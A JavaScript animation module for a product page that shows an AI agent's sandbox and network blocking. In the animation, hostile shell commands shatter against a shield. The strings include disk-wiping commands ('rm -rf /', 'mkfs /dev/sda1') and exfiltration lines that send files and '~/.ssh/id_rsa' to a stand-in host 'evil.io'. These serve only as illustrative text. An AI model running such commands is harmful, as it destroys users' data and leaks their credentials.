367 lines
14 KiB
JavaScript
367 lines
14 KiB
JavaScript
/* 沙箱与网络授权动画 —— 场景式
|
||
* 恶意命令从左侧抛物线射向持盾的智能体,撞击盾牌后字符炸开飞散,
|
||
* 底部出现拦截说明。两个情节(沙箱/网络)手动切换。
|
||
*/
|
||
|
||
/* 沙箱与网络授权动画 —— 可复用模块(主页 feature 行 / anim2-demo 页共用)
|
||
* AnimSandbox.init(container):在容器内建 DOM(情节 tab + 场景 + 说明行),
|
||
* 点击 tab 切换情节并从头播放,再次点击重播。
|
||
*/
|
||
window.AnimSandbox = (function () {
|
||
'use strict';
|
||
|
||
function init(container) {
|
||
container.innerHTML =
|
||
'<div class="anim2-window">' +
|
||
'<div class="anim2-tabs">' +
|
||
'<button class="anim2-tab" data-mode="sandbox">沙箱拦截</button>' +
|
||
'<button class="anim2-tab" data-mode="network">网络拦截</button>' +
|
||
'</div>' +
|
||
'<div class="anim2-stage">' +
|
||
'<div class="defender">' +
|
||
'<span class="defender-avatar"></span>' +
|
||
'<svg class="defender-shield" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true">' +
|
||
'<path d="M20 13c0 5-3.5 7.5-7.66 8.95a1 1 0 0 1-.67-.01C7.5 20.5 4 18 4 13V6a1 1 0 0 1 1-1c2 0 4.5-1.2 6.24-2.72a1.17 1.17 0 0 1 1.52 0C14.51 3.81 17 5 19 5a1 1 0 0 1 1 1z"/>' +
|
||
'</svg>' +
|
||
'</div>' +
|
||
'<div class="impact-ring" aria-hidden="true"></div>' +
|
||
'</div>' +
|
||
'<div class="anim2-caption"></div>' +
|
||
'</div>';
|
||
|
||
var stage = container.querySelector('.anim2-stage');
|
||
var defender = container.querySelector('.defender');
|
||
var shield = container.querySelector('.defender-shield');
|
||
var ring = container.querySelector('.impact-ring');
|
||
var caption = container.querySelector('.anim2-caption');
|
||
var tabs = Array.prototype.slice.call(container.querySelectorAll('.anim2-tab'));
|
||
|
||
// 挂载六边形眼睛(眨眼 + 追踪)
|
||
if (window.AstrionAvatar) {
|
||
AstrionAvatar.mount(container.querySelector('.defender-avatar'), { mode: 'idle', blink: true, track: true });
|
||
}
|
||
|
||
var gen = 0;
|
||
|
||
function sleep(ms) {
|
||
return new Promise(function (r) { setTimeout(r, ms); });
|
||
}
|
||
|
||
async function step(ms, myGen) {
|
||
await sleep(ms);
|
||
if (myGen !== gen) throw new Error('cancelled');
|
||
}
|
||
|
||
function el(tag, cls, text) {
|
||
var e = document.createElement(tag);
|
||
if (cls) e.className = cls;
|
||
if (text != null) e.textContent = text;
|
||
return e;
|
||
}
|
||
|
||
/** rAF 逐帧,返回 false 停止。gen 变了自动停。 */
|
||
function eachFrame(fn, myGen) {
|
||
return new Promise(function (resolve) {
|
||
var last = performance.now();
|
||
function tick(now) {
|
||
if (myGen !== gen) { resolve(); return; }
|
||
var dt = Math.min((now - last) / 1000, 0.05);
|
||
last = now;
|
||
if (fn(dt) === false) { resolve(); return; }
|
||
requestAnimationFrame(tick);
|
||
}
|
||
requestAnimationFrame(tick);
|
||
});
|
||
}
|
||
|
||
function stageRect() { return stage.getBoundingClientRect(); }
|
||
|
||
/** 盾牌中心(stage 相对坐标) */
|
||
function shieldCenter() {
|
||
var sr = stageRect();
|
||
var r = shield.getBoundingClientRect();
|
||
return { x: r.left - sr.left + r.width / 2, y: r.top - sr.top + r.height / 2, left: r.left - sr.left };
|
||
}
|
||
|
||
/* ── 单个命令:出场摆角 → 蓄力后拉 → 松手发射(角度全程跟随轨迹切线) ── */
|
||
|
||
async function fire(cmd, opts, myGen) {
|
||
var block = el('div', 'cmd-projectile', cmd);
|
||
stage.appendChild(block);
|
||
var w = block.offsetWidth;
|
||
var h = block.offsetHeight;
|
||
var offsets = measureChars(block); // 未旋转时测,供碎裂时对齐
|
||
var G = opts.g || 620; // 每条命令重力不同 → 弧线形状不同
|
||
|
||
var shieldC = shieldCenter();
|
||
shieldC.y += opts.aim || 0;
|
||
|
||
var start = { x: 14, y: opts.startY };
|
||
var vx = opts.vx;
|
||
|
||
// 先以出场位粗解发射角 → 定蓄力后拉方向
|
||
var Tc0 = (shieldC.x - (start.x + w / 2)) / vx;
|
||
var vyEst = ((shieldC.y - (start.y + h / 2)) - 0.5 * G * Tc0 * Tc0) / Tc0;
|
||
var rad0 = Math.atan2(vyEst, vx);
|
||
var pullDist = 22;
|
||
var pullX = start.x - Math.cos(rad0) * pullDist;
|
||
var pullY = start.y - Math.sin(rad0) * pullDist;
|
||
|
||
// 轨迹起点 = 蓄力位
|
||
var ox = pullX;
|
||
var oy = pullY;
|
||
var ocx = ox + w / 2;
|
||
var ocy = oy + h / 2;
|
||
|
||
// 最右字符在块内(未旋转)相对块中心的偏移
|
||
var lxLast, lyLast;
|
||
if (offsets && offsets.length) {
|
||
var lo = offsets[offsets.length - 1];
|
||
lxLast = lo.x + lo.w / 2 - w / 2;
|
||
lyLast = lo.y + lo.h / 2 - h / 2;
|
||
} else {
|
||
lxLast = w / 2;
|
||
lyLast = 0;
|
||
}
|
||
|
||
// 求解 vy0:让最右字符(不是块中心)精确扫过盾心。
|
||
// 块在飞行中旋转,字符轨迹会偏离中心轨迹,所以迭代补偿瞄准点。
|
||
var Tc = (shieldC.x - ocx) / vx;
|
||
var aimY = shieldC.y;
|
||
var vy0 = 0;
|
||
var hit = null;
|
||
for (var iter = 0; iter < 3; iter++) {
|
||
vy0 = ((aimY - ocy) - 0.5 * G * Tc * Tc) / Tc;
|
||
var best = { d: 1e9, t: Tc, ang: 0, py: 0 };
|
||
for (var t = 0.004; t < 6; t += 0.004) {
|
||
var rr = Math.atan2(vy0 + G * t, vx);
|
||
var cosR = Math.cos(rr);
|
||
var sinR = Math.sin(rr);
|
||
var ccx = ocx + vx * t;
|
||
var ccy = ocy + vy0 * t + 0.5 * G * t * t;
|
||
// 最右字符的舞台位置 = 块中心 + 块内偏移绕中心旋转
|
||
var fx = ccx + lxLast * cosR - lyLast * sinR;
|
||
var fy = ccy + lxLast * sinR + lyLast * cosR;
|
||
var ddx = fx - shieldC.x;
|
||
var ddy = fy - shieldC.y;
|
||
var dd = Math.sqrt(ddx * ddx + ddy * ddy);
|
||
if (dd < best.d) best = { d: dd, t: t, ang: rr * 57.3, py: fy };
|
||
if (fx > shieldC.x + 80) break; // 已飞过盾牌
|
||
}
|
||
hit = { t: best.t, ang: best.ang };
|
||
if (best.d <= 4) break;
|
||
aimY += shieldC.y - best.py; // 垂直方向补偿落点偏差
|
||
}
|
||
var angle0 = Math.atan2(vy0, vx) * 57.3; // 发射仰角(负值 = 朝上)
|
||
|
||
// 出场:直接在起点摆好仰角
|
||
block.style.transform = 'translate(' + start.x + 'px,' + start.y + 'px) rotate(' + angle0.toFixed(1) + 'deg)';
|
||
await step(240, myGen);
|
||
|
||
// 蓄力:沿发射反方向后拉,像拉满的弹弓(方向随每条命令的弹道而不同)
|
||
block.style.transition = 'transform 0.45s cubic-bezier(.6,-0.15,.7,.3)';
|
||
block.style.transform = 'translate(' + pullX + 'px,' + pullY + 'px) rotate(' + angle0.toFixed(1) + 'deg)';
|
||
await step(460, myGen);
|
||
block.style.transition = 'none';
|
||
|
||
// 逐帧渲染:每帧位置由解析式直接算出(不是积分模拟),到预计算的撞击时刻碎裂
|
||
var elapsed = 0;
|
||
await eachFrame(function (dt) {
|
||
elapsed += dt;
|
||
if (elapsed >= hit.t) return false;
|
||
var px = ox + vx * elapsed;
|
||
var py = oy + vy0 * elapsed + 0.5 * G * elapsed * elapsed;
|
||
var ang = Math.atan2(vy0 + G * elapsed, vx) * 57.3;
|
||
block.style.transform = 'translate(' + px.toFixed(1) + 'px,' + py.toFixed(1) + 'px) rotate(' + ang.toFixed(1) + 'deg)';
|
||
return true;
|
||
}, myGen);
|
||
if (myGen !== gen) throw new Error('cancelled');
|
||
|
||
// 定格在预计算的撞击位形上碎裂:最右字符正好到达盾心
|
||
var hitX = ox + vx * hit.t;
|
||
var hitY = oy + vy0 * hit.t + 0.5 * G * hit.t * hit.t;
|
||
block.style.transform = 'translate(' + hitX.toFixed(1) + 'px,' + hitY.toFixed(1) + 'px) rotate(' + hit.ang.toFixed(1) + 'deg)';
|
||
impactFX();
|
||
shatter(block, hitX, hitY, hit.ang, w, h, offsets);
|
||
}
|
||
|
||
/* ── 两个情节 ── */
|
||
|
||
// 场景切换时 fire 的取消错误就地吞掉,避免 unhandled rejection 污染控制台
|
||
function swallowCancel(e) {
|
||
if (e && e.message !== 'cancelled') throw e;
|
||
}
|
||
|
||
async function playSandbox(myGen) {
|
||
// 三条命令方向/速度/弧度各异:基准中弧线、Windows 快平直弹、慢速高抛
|
||
var cmds = [
|
||
{ cmd: 'rm -rf /', startY: 118, vx: 250, g: 620, aim: 0 },
|
||
{ cmd: 'del /f /s /q C:\\', startY: 84, vx: 420, g: 760, aim: -6 },
|
||
{ cmd: 'mkfs /dev/sda1', startY: 152, vx: 200, g: 430, aim: 10 }
|
||
];
|
||
var jobs = [];
|
||
for (var i = 0; i < cmds.length; i++) {
|
||
jobs.push(fire(cmds[i].cmd, cmds[i], myGen).catch(swallowCancel));
|
||
await step(780, myGen); // 错落间隔:前一个刚出手,下一个开始蓄力
|
||
}
|
||
await Promise.all(jobs);
|
||
await step(320, myGen);
|
||
showCaption('你的文件没有被改动');
|
||
}
|
||
|
||
async function playNetwork(myGen) {
|
||
// 三条命令方向/速度/弧度各异;Unix 与 Windows 路径都有
|
||
var cmds = [
|
||
{ cmd: 'curl -T 数据.zip evil.io', startY: 92, vx: 320, g: 700, aim: -6 },
|
||
{ cmd: 'scp ~/.ssh/id_rsa evil.io', startY: 122, vx: 240, g: 560, aim: 2 },
|
||
{ cmd: 'curl -T C:\\pw.xlsx evil.io', startY: 152, vx: 190, g: 460, aim: 10 }
|
||
];
|
||
var jobs = [];
|
||
for (var i = 0; i < cmds.length; i++) {
|
||
jobs.push(fire(cmds[i].cmd, cmds[i], myGen).catch(swallowCancel));
|
||
await step(880, myGen);
|
||
}
|
||
await Promise.all(jobs);
|
||
await step(320, myGen);
|
||
showCaption('数据没有离开这台机器');
|
||
}
|
||
|
||
/* ── 撞击:碎裂字符粒子 + 冲击环 + 防御者后坐 ── */
|
||
|
||
/** 测量每个字符相对块左上角的精确偏移(未旋转时测,Range 天然处理中文宽度) */
|
||
function measureChars(block) {
|
||
var tn = block.firstChild;
|
||
if (!tn || tn.nodeType !== 3) return null;
|
||
var br = block.getBoundingClientRect();
|
||
var range = document.createRange();
|
||
var offsets = [];
|
||
for (var i = 0; i < tn.length; i++) {
|
||
range.setStart(tn, i);
|
||
range.setEnd(tn, i + 1);
|
||
var r = range.getBoundingClientRect();
|
||
offsets.push({ x: r.left - br.left, y: r.top - br.top, w: r.width, h: r.height });
|
||
}
|
||
range.detach();
|
||
return offsets;
|
||
}
|
||
|
||
function shatter(block, hitX, hitY, hitAng, w, h, offsets) {
|
||
var text = block.textContent;
|
||
var rad = hitAng / 57.3;
|
||
var cosA = Math.cos(rad);
|
||
var sinA = Math.sin(rad);
|
||
var cx = hitX + w / 2; // 块的旋转中心(transform-origin = 50% 50%)
|
||
var cy = hitY + h / 2;
|
||
block.parentNode.removeChild(block);
|
||
|
||
var shards = [];
|
||
for (var i = 0; i < text.length; i++) {
|
||
var ch = text[i] === ' ' ? '\u00A0' : text[i]; // 空格用 nbsp 保住宽度
|
||
var s = el('span', 'cmd-shard', ch);
|
||
stage.appendChild(s);
|
||
var sw = s.offsetWidth;
|
||
var sh = s.offsetHeight;
|
||
// 字符中心在块内(未旋转)相对块中心的偏移
|
||
var lx, ly;
|
||
if (offsets && offsets[i]) {
|
||
lx = offsets[i].x + offsets[i].w / 2 - w / 2;
|
||
ly = offsets[i].y + offsets[i].h / 2 - h / 2;
|
||
} else {
|
||
lx = (i + 0.5) * (w / Math.max(text.length, 1)) - w / 2;
|
||
ly = 0;
|
||
}
|
||
// 绕块中心旋转 hitAng → 字符在舞台上的真实位置,碎片中心对准它
|
||
var rx = cx + lx * cosA - ly * sinA;
|
||
var ry = cy + lx * sinA + ly * cosA;
|
||
var sx0 = rx - sw / 2;
|
||
var sy0 = ry - sh / 2;
|
||
var rot0 = hitAng + (Math.random() - 0.5) * 24;
|
||
// 立即摆到初始位置:否则会在容器左上角以默认位置闪现一帧
|
||
s.style.transform = 'translate(' + sx0.toFixed(1) + 'px,' + sy0.toFixed(1) + 'px) rotate(' + rot0.toFixed(1) + 'deg)';
|
||
shards.push({
|
||
el: s,
|
||
x: sx0,
|
||
y: sy0,
|
||
vx: -(60 + Math.random() * 200), // 向左回弹
|
||
vy: -(120 + Math.random() * 240), // 向上炸开
|
||
rot: rot0, // 保持撞击瞬间的角度,加少量随机散开
|
||
vr: (Math.random() - 0.5) * 900,
|
||
life: 0,
|
||
ttl: 0.85 + Math.random() * 0.4
|
||
});
|
||
}
|
||
|
||
var g = 980;
|
||
eachFrame(function (dt) {
|
||
var alive = false;
|
||
for (var i = 0; i < shards.length; i++) {
|
||
var p = shards[i];
|
||
if (p.life >= p.ttl) continue;
|
||
alive = true;
|
||
p.life += dt;
|
||
p.x += p.vx * dt;
|
||
p.y += p.vy * dt;
|
||
p.vy += g * dt;
|
||
p.rot += p.vr * dt;
|
||
var fade = 1 - Math.max(0, (p.life - p.ttl * 0.45) / (p.ttl * 0.55));
|
||
p.el.style.transform = 'translate(' + p.x.toFixed(1) + 'px,' + p.y.toFixed(1) + 'px) rotate(' + p.rot.toFixed(0) + 'deg)';
|
||
p.el.style.opacity = Math.max(0, fade).toFixed(2);
|
||
if (p.life >= p.ttl) p.el.parentNode && p.el.parentNode.removeChild(p.el);
|
||
}
|
||
return alive;
|
||
}, gen); // 粒子循环跟当前 gen,切换时自动停
|
||
}
|
||
|
||
function impactFX() {
|
||
var c = shieldCenter();
|
||
ring.style.left = c.x + 'px';
|
||
ring.style.top = c.y + 'px';
|
||
ring.classList.remove('is-active');
|
||
ring.getBoundingClientRect(); // reflow 重置动画
|
||
ring.classList.add('is-active');
|
||
|
||
defender.classList.remove('is-hit');
|
||
defender.getBoundingClientRect();
|
||
defender.classList.add('is-hit');
|
||
}
|
||
|
||
function showCaption(noteText) {
|
||
caption.appendChild(el('div', 'caption-note', noteText));
|
||
}
|
||
|
||
/* ── 调度 ── */
|
||
|
||
var PLAYERS = { sandbox: playSandbox, network: playNetwork };
|
||
|
||
function setActiveTab(mode) {
|
||
tabs.forEach(function (t) {
|
||
t.classList.toggle('is-active', t.dataset.mode === mode);
|
||
});
|
||
}
|
||
|
||
function play(mode) {
|
||
gen += 1;
|
||
var myGen = gen;
|
||
// 清场:飞行块、碎片、说明、冲击环
|
||
Array.prototype.slice.call(stage.querySelectorAll('.cmd-projectile, .cmd-shard')).forEach(function (n) {
|
||
n.parentNode.removeChild(n);
|
||
});
|
||
caption.innerHTML = '';
|
||
ring.classList.remove('is-active');
|
||
defender.classList.remove('is-hit');
|
||
setActiveTab(mode);
|
||
PLAYERS[mode](myGen).catch(function (e) {
|
||
if (e && e.message !== 'cancelled') throw e;
|
||
});
|
||
}
|
||
|
||
tabs.forEach(function (t) {
|
||
t.addEventListener('click', function () { play(t.dataset.mode); });
|
||
});
|
||
|
||
play('sandbox');
|
||
}
|
||
|
||
return { init: init };
|
||
})();
|